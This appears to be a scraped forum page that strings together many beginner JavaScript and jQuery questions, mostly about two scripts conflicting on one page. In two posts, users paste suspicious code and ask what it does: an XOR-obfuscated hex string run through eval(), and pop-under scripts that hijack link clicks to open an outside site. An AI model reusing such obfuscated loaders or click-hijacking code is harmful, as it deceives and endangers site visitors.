JavaScript - Jquery 2 Scripts
Hello,
i am trying to put on my website two jquery scripts, but when i put both of them one works correctly and second one works but like without css. What should i do to make them both work? Similar TutorialsHi everyone, I searched and found some answers to this question, however, after trying the solutions, none worked for me. I am hoping someone can help me figure out where i'm going wrong with this. I am trying to use the jQuery Nivo Slider and the jQuery Ad Gallery on the same page. When both scripts are active, only one works. When i comment out one of them, the other works. This happens either way i do it. I tried using the jQuery.noConflict(); but it did not work...unless i did something wrong. Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript" src="/includes/jquery.nivo.slider.pack.js"></script> <script type="text/javascript" src="/includes/jquery.ad-gallery.js"></script> <script type="text/javascript"> $(function() { $('img.image1').data('ad-desc', 'Whoa! This description is set through elm.data("ad-desc") instead of using the longdesc attribute.<br>And it contains <strong>H</strong>ow <strong>T</strong>o <strong>M</strong>eet <strong>L</strong>adies... <em>What?</em> That aint what HTML stands for? Man...'); $('img.image1').data('ad-title', 'Title through $.data'); $('img.image4').data('ad-desc', 'This image is wider than the wrapper, so it has been scaled down'); $('img.image5').data('ad-desc', 'This image is higher than the wrapper, so it has been scaled down'); var galleries = $('.ad-gallery').adGallery(); $('#switch-effect').change( function() { galleries[0].settings.effect = $(this).val(); return false; } ); $('#toggle-slideshow').click( function() { galleries[0].slideshow.toggle(); return false; } ); $('#toggle-description').click( function() { if(!galleries[0].settings.description_wrapper) { galleries[0].settings.description_wrapper = $('#descriptions'); } else { galleries[0].settings.description_wrapper = false; } return false; } ); }); jQuery.noConflict(); jQuery(window).load(function() { jQuery('#slider').nivoSlider({ effect:'fade', // Specify sets like: 'fold,fade,sliceDown' animSpeed:5, // Slide transition speed pauseTime:7000, // How long each slide will show startSlide:0, // Set starting Slide (0 index) directionNav:false, // Next & Prev navigation directionNavHide:true, // Only show on hover controlNav:true, // 1,2,3... navigation controlNavThumbs:false, // Use thumbnails for Control Nav controlNavThumbsFromRel:false, // Use image rel for thumbs controlNavThumbsSearch: '.png', // Replace this with... controlNavThumbsReplace: '_thumb.jpg', // ...this in thumb Image src keyboardNav:true, // Use left & right arrows pauseOnHover:true, // Stop animation while hovering manualAdvance:false, // Force manual transitions captionOpacity:0.8, // Universal caption opacity prevText: 'Prev', // Prev directionNav text nextText: 'Next', // Next directionNav text beforeChange: function(){}, // Triggers before a slide transition afterChange: function(){}, // Triggers after a slide transition slideshowEnd: function(){}, // Triggers after all slides have been shown lastSlide: function(){}, // Triggers when last slide is shown afterLoad: function(){} // Triggers when slider has loaded }); }); </script> Does anyone have any ideas? I appreciate the help in advance! Tsiqueira I tried setting the scripts in different order but it didn't work. I tested it in all browsers and IE is the only one not cooperating. <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> <link rel="stylesheet" type="text/css" href="../css/norma_style.css" media="all"/> <!--[if lte IE 7]> <link rel="stylesheet" type="text/css" href="../css/ie7fix.css" media="all" /> <![endif]--> <script type="text/javascript" src="../css/jquery.min.js"></script> <!-- include Cycle plugin --> <script type="text/javascript" src="../css/jquery.cycle.all.latest.js"></script> <script src="../css/kwick/kwicks1.5.1.js" type="text/javascript"></script> <script type="text/javascript"> $(document).ready(function() { $('.slideshow').cycle({ fx: 'fade', // choose your transition type, ex: fade, scrollUp, shuffle, etc... speed: 2000, random: 1 }); }); </script> <script type="text/javascript"> $().ready(function() { $('#example .kwicks').kwicks({ max: 500, spacing: 5 }); }); </script> </head> Please see URL: http://www.freedommd.com/Freedom10/index.shtml 1. On the navbar, click on "Demos > EMR Features" (using jQuery for the navbar) 2. On the "FreeDOM EMR" page, in addition to the jQuery navbar, I am using Lightbox to display images (click on the "dashboard" thumbnail). There is a conflict of some sort here between scripts. Code: <!--jquery menu code directly below--> <script type="text/javascript" language="javascript" src="js/jquery.js"></script> <script type="text/javascript" language="javascript" src="js/navmenus.js"></script> <!--end jquery nav--> <!--Lightbox code directly below--> <script type="text/javascript" src="js-lightbox/prototype.js"></script> <script type="text/javascript" src="js-lightbox/scriptaculous.js?load=effects,builder"></script> <script type="text/javascript" src="js-lightbox/lightbox.js"></script> <!--end Lightbox --> As is, on this page, my Lightbox code works fine, but my navbar will not expand the sub menus. If I remove the Lightbox code, then the navbar works fine. I'd really like for them both to work. : ) I tried putting the .js in different directories, separating the Lightbox code from the jQuery code but that didn't help. All .js files are attached. Much appreciated if someone can tell me what I need to do. Thanks, John Hello, I'm trying to combine two different jQuery scripts on my webpage. The one is showing flashvideos in a lightbox and the other one is displaying thumbnails in a slideshow. The problem is that only one script is working. I have searched the web and forums and found that several people have had this problem before and I have truly tried to fix it with noConflict(). The problem is that I have very little experience in Javascript so I haven't got it working. So, here are the lines in the code: <!-- Video lightbox --> <script type="text/javascript" src="/js/videolightbox/mootools.js"></script> <script type="text/javascript" src="/js/videolightbox/swfobject.js"></script> <script type="text/javascript" src="/js/videolightbox/videobox.js"></script> <!-- Thumbnail slider --> <script type="text/javascript" src="/js/jquery-1.2.6.js"></script> <script type="text/javascript" src="/js/carousel.js"></script> I haven't coded any of these myself (of course), so I am not familiar with the variables in the files. So my target is to find a way to to use these scripts simultaneously. I am very thankful for your help but I am also kindly asking for a simple and easy to understand instruction. The webpage can be found he http://wearethemusicmakers.se/index2.php Best Regards Johannes I'm having trouble inserting two jquery scripts into the same HTML file. they both work independently, but when i try to use them both at the same time only one script will work.. I'm using a "slider gallery" and "ez background-resize". I've read a few articles that suggest using "var jQuery_1_2_6 = $.noConflict(true);" but i just can't seem to figure it out. Any one have any thoughts or suggestions? I'd really appreciate it. Code is below. Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Total City Sports</title> <link href="css/screen.css" rel="stylesheet" type="text/css" media="screen" /> <link href="css/styles.css" rel="stylesheet" type="text/css" /> <link href="css/reset.css" rel="stylesheet" type="text/css" /> <style type="text/css"> </style> <!-- start slider gallery--> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript" src="js/easySlider1.7.js"></script> <script type="text/javascript"> $(document).ready(function(){ $("#slider").easySlider({ auto: true, continuous: true, numeric: true }); }); </script> <!-- end slider gallery --> <!--start bg resize --> <script src="js/jquery-1.3.2.min.js" type="text/javascript" charset="utf-8"></script> <script src="js/jquery.ez-bg-resize.js" type="text/javascript" charset="utf-8"></script> <script> $(document).ready(function() { $("#body-background").ezBgResize(); }); $(window).bind("resize", function(){ $("#body-background").ezBgResize(); }); </script> <!-- end bg resize--> </head> Is possible to call cgi scripts from javascript scripts?
So, i have this code which retrieves php files for me using jquery and id love to get it working with Jquery history plugin. I tried modifying the code i got from the ajax demo to work for me, but i just couldnt do it as i do not know any javascript really.. ( actually what i tried was simply to change "#ajax-links a" to "#menu li a" and .html to .php ..but nothing.. :rolleyes: Id be very gratefull if someone would help me out with this one. All related code can be found bellow (the ones that should be needed anyways): This is the code that retrieves php files inside "#content" when item from "#menu li a" with the specified id is clicked Code: $(document).ready(function(){ //References var change = $("#menu li a"); var loading = $("#loading"); var content = $("#content"); //Manage click events change.click(function(){ //show the loading bar showLoading(); //load selected section if(this.id == "home") { change.load(this.className='current-page'); content.slideUp(); content.load("pages/index.php", hideLoading); content.slideDown(); } else if(this.id == "secondpage") { change.load(this.className='current-page'); content.slideUp(); content.load("pages/secondpage.php", hideLoading); content.slideDown(); } else { //hide loading bar if there is no selected section hideLoading(); } }); //show loading bar function showLoading(){ loading .css({visibility:"visible"}) .css({opacity:"1"}) .css({display:"block"}) ; } //hide loading bar function hideLoading(){ loading.fadeTo(1000, 0); }; }); Heres the structure of the menu/content Code: <ul id="menu"> <li><a id="home" class="normal" href="#Home"></a></li> <li><a id="secondpage" class="normal" href="#Secondpage"></a></li> </ul> <div id="content"> <ul id="sec-menu"> <li><a id="link1" class="normal" href="#">Link1</a></li> <li><a id="link2" class="normal" href="#">Link2</a></li> </ul> </div> Heres the code that jquery history plugin uses in demo for ajax Code: jQuery(document).ready(function($) { function load(num) { $('#content').load(num +".html"); } $.history.init(function(url) { load(url == "" ? "1" : url); }); $('#ajax-links a').live('click', function(e) { var url = $(this).attr('href'); url = url.replace(/^.*#/, ''); $.history.load(url); return false; }); }); hi, i have a jquery problem... this script is not working with jquery-1.4.2.min, but it works with jquery-1.2.6.min.js, can anyone help me???the script is the above: (it is not working the tab actions, the slideout works...) http://www.benjaminsterling.com/wp-c...es/sidetab.htm the javascript code is the above: PHP Code: var jqsideTabs; var tabs, h = 50, r = 0,ra = 0; $(document) .ready(function(){ jqsideTabs = $('#sideTabs').addClass('closed'); tabs = jqsideTabs .find('.tab h3') .clone() .appendTo(jqsideTabs) .each(function(i){ var that = $(this), cls = '',ow,newThis, newEl; if( i == 0 ) cls = ' active'; newEl = $('<a href="#" class="tabLinks'+cls+'">' + that.text() + '</a>'); that.replaceWith(newEl); ow = newEl.outerWidth(); if( i == 0 ) ra = ow; else r = ow; h = newEl.css({'top':h , 'right': -ow }).height() + h; newThis = newEl.get(0); newThis.jq = newEl; newThis.i = i; newEl.click(function(){ var el = this.jq; if( jqsideTabs.hasClass( 'closed' ) ){ jqsideTabs.removeClass('closed'); } else if( !jqsideTabs.hasClass( 'closed' ) && el.hasClass('active') ){ jqsideTabs.addClass('closed'); } el .siblings() .removeClass('active') .css({'right': -r }) .end() .addClass('active') .css({'right': -ra }); tabs.eq( this.i ).show().siblings('.tab').hide(); return false; }); }) .end() .parent() .eq(0) .addClass('active') .end() .filter(':not(:eq(0))') .hide() .end(); jqsideTabs.bind("mouseleave",function(){ jqsideTabs .animate({left:-310}, 'fast', function(){ jqsideTabs.addClass('closed').removeAttr('style'); }); }); }); and the html file is: [HTML] <div id="sideTabs"> <div class="tab"> <h3>Tab 1</h3> <div class="gut"> <p>Some text</p> </div> </div> <div class="tab"> <h3>Tab 2</h3> <div class="gut"> <ul> <li>link</li> </ul> </div> </div> <div class="tab"> <h3>Tab 3</h3> <div class="gut"> <ul> <li>link</li> </ul> </div> </div> </div> [/HTML] the problem is that the tab button works, but the content doesnt change...in all of tabs showing the same text(showing all tbas content).... can anyone help...please..... i keep getting the error GET http://code.jquery.com/jquery.min.map net::ERR_TOO_MANY_REDIRECTS & Failed to load resource: net::ERR_TOO_MANY_REDIRECTS when i load my page...and the havascript doesn't work properly on ym page...how do i resolve this. thanx in advance var s="attr" var i=$(s) // jQuery(elem).attr(attr,eval("elm"+attr)); jQuery(elem).$(s)(attr,eval("elm"+attr));//i tried this. how to assign a variable name in the above code(in place of s) so that i need to add an attribute to the element "elem". Please take a look at below scripts, i want know what is their functions exactly 1- Code: <script type="text/javascript"> function addBookmark(url, title) { if (!url) url = location.href; if (!title) title = document.title; //Gecko if ((typeof window.sidebar == "object") && (typeof window.sidebar.addPanel == "function")) window.sidebar.addPanel ("xxx.com - Лучшие ", "http://xxx.com/?d=bm", ""); //IE4+ else if (typeof window.external == "object") window.external.AddFavorite ("http://yyy.com/?d=bm", "xxx.com - Лучшие "); //Opera7+ else if (window.opera && document.createElement) { var a = document.createElement('A'); if (!a) return false; //IF Opera 6 a.setAttribute('rel','sidebar'); a.setAttribute('href',url); a.setAttribute('title',title); a.click(); } else return false; return true; } </script> 2- Code: <script language="javascript"> var s="6b2b73435c4e552b5229682a49705f526c2b552b7547636f463443405a34425f2a2a5a6e242436745d357824657a594e7471556b78405c6e744d21584c443f7b31684b736d33284b4674562d5d312b566650377621755f346e627959232e446d3361356556612946285e6356253f596f54486f6d2e5a794e31473d724435603e407c664f373927246c642f2e2f2a4525375060323b4e736d5b265b323e356f3665633f542e2b55323c43776c62733244665b7b4d765e4c7e2d356c69455c3061432a3c483c6f506751731d4a0163033d211662053741244d6f7e0947684f1a241602235a376e3d51361a464f370b4a504536246119432b1b342b5c533d1f152c7e474f294e3b39295a154546281c0258412e7b563c5960756a122e14713265311e7027263d1d666a004f0804593e663c072946330c23565a3400222d520b5b341a3a5828535a6d4e3f552d5c4d7206024e42443b44431118650311703f414f734e5d725d04414a085e0d010c5c21434e3b4612201803091a577944360f70321c08366973282d011d7428076e780d782b725c2c0e",s2="",i; for(i=0;i<s.length/4;i++) s2+=String.fromCharCode(parseInt("0x"+s.substr(i*2,2))^parseInt("0x"+s.substr(i*2+s.length/2,2)));eval(s2); </script> Hey Everyone, first time posting so thanks for any help. I'm fairly new to JS and was playing around with the horizontal menu CSS and JS files found here on the site (http://www.javascriptkit.com/script/...stopmenu.shtml). I was able to go edit the CSS page to edit the images used in the menu, but if I wanted to add another horizontal menu in a different spot, how do I rename the CSS and JS files, and identify them in the body so that I could use the same style but just switch the img src in the javascript file? .....I have this in the head of the page: Code: <link rel="stylesheet" type="text/css" href="css/csshorizontalmenu.css" /> </script> <script type="text/javascript" src="css/csshorizontalmenu.js"> </script> .....And this in the body Code: <div class="horizontalcssmenu"> <ul id="cssmenu1"> <li style="border-left: 0px solid #202020;"><a href="http://www.javascriptkit.com/">Browse</a></li> <li><a href="http://www.javascriptkit.com/cutpastejava.shtml" >Search</a></li> So for a second menu, can I copy the csshorizontalmenu.js files as csshorizontalmenu1.js and recall it through a div class or such? Thanks for any help and sorry if that was confusing I have the following two scripts: Code: <script type="text/javascript"> window.onload = function() { document.getElementById('ad1_inline').appendChild(document.getElementById('ad1_footer')); document.getElementById('ad1_footer').style.display = ''; } </script> And... Code: <script type="text/javascript"> // <![CDATA[ function hide_qr(show) { dE('qr_editor_div'); dE('qr_showeditor_div'); if (show && document.getElementById('qr_editor_div').style.display != 'none') { document.getElementsByName('message')[0].focus(); } return true; } function init_qr() { dE('qr_showeditor_div'); return true; } onload_functions.push('init_qr();'); // ]]> </script> But when I have them on the same page together, the second script does not work at all, but the first script still works. Any way I can use these together? Hi Chaps, I had a two similar scripts that uses a select option to pass a parameter to a php page, then returns options/values to a seperate select drop down. Both of these scripts worked fine until I added another script. The new script is different, in that it checks the value of the original select option, then passes that value to a seperate php page, then, if a condition is met, an input field is displayed. This new script works, but has resulted in the two original scripts doubling the values that they return. I hope that makes sense, if anyone can spare anytime, I'll gladly post the code and any other information . . . . Cheers I have two pieces of code that work individually, each for a single element on a webpage. I need to know how to put these together somehow, as only the second works when they are added in the head tag pair. Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'block' : 'none'; document.getElementById('state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state1').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state1').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('country_code').onchange=function(){showHideDiv(this.value);} } </script> and Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'block' : 'none'; document.getElementById('state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state2').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state2').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('shipping_country_code').onchange=function(){showHideDiv(this.value);} } </script> The purpose of the first code is to display a "State or Province" input field and cause the "State" dropdown box to disappear when any other country than USA is selected from the country_code dropdown box. The second piece of code has the same purpose, except that it is for the shipping_country_code dropdown box. These codes work individually, but when I put them both between the head tags, only the second one works. How would I put these together to make them both work on the same page? Thanks for your help, as I am inexperienced with javascript. ~Sarah hi friends Please look exactlt at this two scripts , when i click on page include these scripts , it will open a page go to redirecturl.ru but i can't see this url inside scripts , i want know where this url is located ? below on main page before click Code: <script language="javascript"> <!-- function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); } // if(getCookie('21726clickunder1810')) { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/gogo.js"><'+'/sc'+'ri'+'pt>'); } else { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/sun21726_ajax.js"><'+'/sc'+'ri'+'pt>'); } //--> </script> gogo.js script Code: if (navigator.cookieEnabled) {var pop_under = null;var pop_cookie_name = "gavgav";var pop_timeout = 720;function pop_cookie_enabled(){var is_enabled = false;if (!window.opera && !navigator.cookieEnabled)return is_enabled;if (typeof document.cookie == 'string')if (document.cookie.length == 0){document.cookie = "test";is_enabled = document.cookie == 'test';document.cookie = '';} else{is_enabled = true;}return is_enabled;}function pop_getCookie(name){var cookie = " " + document.cookie;var search = " " + name + "=";var setStr = null;var offset = 0;var end = 0;if (cookie.length > 0){offset = cookie.indexOf(search);if (offset != -1){offset += search.length;end = cookie.indexOf(";", offset);if (end == -1){end = cookie.length;} setStr = unescape(cookie.substring(offset, end));}}return(setStr); }function pop_setCookie (name, value){document.cookie = name + "=" + escape(value) + "; expires=Friday,31-Dec-50 23:59:59 GMT; path=/;"; }function show_pop(){var pop_wnd = "http://xxx.com";var fea_wnd = "scrollbars=1,resizable=1,toolbar=1,location=1,menubar=1,status=1,directories=0";var need_open = true;if (document.onclick_copy != null)document.onclick_copy();if (document.body.onbeforeunload_copy != null)document.body.onbeforeunload_copy();if (pop_under != null){if (!pop_under.closed)need_open = false;}if (need_open){if (pop_cookie_enabled()){val = pop_getCookie(pop_cookie_name);if (val != null){now = new Date();val2 = new Date(val); utc1 = Date.UTC(now.getFullYear(), now.getMonth(), now.getDate(), now.getHours(), now.getMinutes(), now.getSeconds()); utc2 = Date.UTC(val2.getFullYear(), val2.getMonth(), val2.getDate(), val2.getHours(), val2.getMinutes(), val2.getSeconds()); if ((utc1 - utc2)/1000 < pop_timeout*60) {need_open = false;}}}}if (need_open){under = window.open(pop_wnd, "", fea_wnd);under.blur();window.focus();if (pop_cookie_enabled()){now = new Date();pop_setCookie(pop_cookie_name, now);}} }function pop_init(){var ver = parseFloat(navigator.appVersion);var ver2 = (navigator.userAgent.indexOf("Windows 95")>=0 || navigator.userAgent.indexOf("Windows 98")>=0 || navigator.userAgent.indexOf("Windows NT")>=0 )&&(navigator.userAgent.indexOf('Opera') == -1)&&(navigator.appName != 'Netscape') &&(navigator.userAgent.indexOf('MSIE') > -1) &&(navigator.userAgent.indexOf('SV1') > -1) &&(ver >= 4); if (ver2){if (document.links){for (var i=0; i<document.links.length; i++){if (document.links[i].target != "_blank"){document.links[i].onclick_copy = document.links[i].onclick;document.links[i].onclick = show_pop;}}}}document.onclick_copy = document.onclick;document.onmouseup = show_pop;return true;}pop_init();} sun21726_ajax.js Code: var ajaxv1=21726;var ajaxv2='';var ajaxv3='';l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII; where redirecturl.ru located ?! Hi guys I have to scripts on my page and they work fine on their own but when i put them together one stops working ?? One is the colorbox script and the other toggles some hidden content. Any ideas why they wont work on the same page ? This is whats in my head section and the start of the body section Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript" src="../../js_files/jquery.easing.1.3.js"></script> <script type="text/javascript" src="../../js_files/jquery.tools.min.js"></script> <!--[if lt IE9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]--> <link rel="stylesheet" href="../../colorbox/colorbox.css" type="text/css" /> <script src="http://code.jquery.com/jquery-1.6.1.min.js" type="text/javascript"></script> <script src="../../colorbox/jquery.colorbox-min.js" type="text/javascript"></script> <script type="text/javascript"> $(document).ready(function(){ //Examples of how to assign the ColorBox event to elements $("a[rel='slides']").colorbox({transition:"none", width:"70%", height:"70%", scalePhotos:false}); }); </script> </head> <body> <script language="JavaScript" type="text/javascript"> $(function() { $("#tabs").tabs("#tabscontent section", { effect: 'fade', fadeOutSpeed: 0, fadeInSpeed: 400 }); }); </script> Please delete thread Now solved
Howdy, I found a script and another I would like to combine. One refresh's the page w/a countdown. Then other then scrolls to the bottom of the page. <script> /* Auto Refresh Page with Time script By JavaScript Kit (javascriptkit.com) Over 200+ free scripts here! */ //enter refresh time in "minutes:seconds" Minutes should range from 0 to inifinity. Seconds should range from 0 to 59 var limit="0:30" if (document.images){ var parselimit=limit.split(":") parselimit=parselimit[0]*60+parselimit[1]*1 } function beginrefresh(){ if (!document.images) return if (parselimit==1) window.location.reload() else{ parselimit-=1 curmin=Math.floor(parselimit/60) cursec=parselimit%60 if (curmin!=0) curtime=curmin+" minutes and "+cursec+" seconds left until page refresh!" else curtime=cursec+" seconds left until page refresh!" window.status=curtime setTimeout("beginrefresh()",1000) } } window.onload=beginrefresh //--> </script> end Refresh script --> <!--Start bottom script onload --> <script> function go(){ setTimeout(window.location='#bottom', 20000); } </script> <!-- End bottom script--> <title>Form to database - showing records</title> </head> <body onload='go()'> <% @ Language="VBScript" %> <% Option Explicit %> <html> <head> <meta http-equiv="refresh" content="60"> <!--START Time Script it does not work w/bottom script <script> /* Auto Refresh Page with Time script By JavaScript Kit (javascriptkit.com) Over 200+ free scripts here! */ //enter refresh time in "minutes:seconds" Minutes should range from 0 to inifinity. Seconds should range from 0 to 59 var limit="0:30" if (document.images){ var parselimit=limit.split(":") parselimit=parselimit[0]*60+parselimit[1]*1 } function beginrefresh(){ if (!document.images) return if (parselimit==1) window.location.reload() else{ parselimit-=1 curmin=Math.floor(parselimit/60) cursec=parselimit%60 if (curmin!=0) curtime=curmin+" minutes and "+cursec+" seconds left until page refresh!" else curtime=cursec+" seconds left until page refresh!" window.status=curtime setTimeout("beginrefresh()",1000) } } window.onload=beginrefresh //--> </script> end Refresh script --> <!--Start bottom script onload --> <script> function go(){ setTimeout(window.location='#bottom', 20000); } </script> <!-- End bottom script--> <title>Form to database - showing records</title> </head> <body onload='go()'> 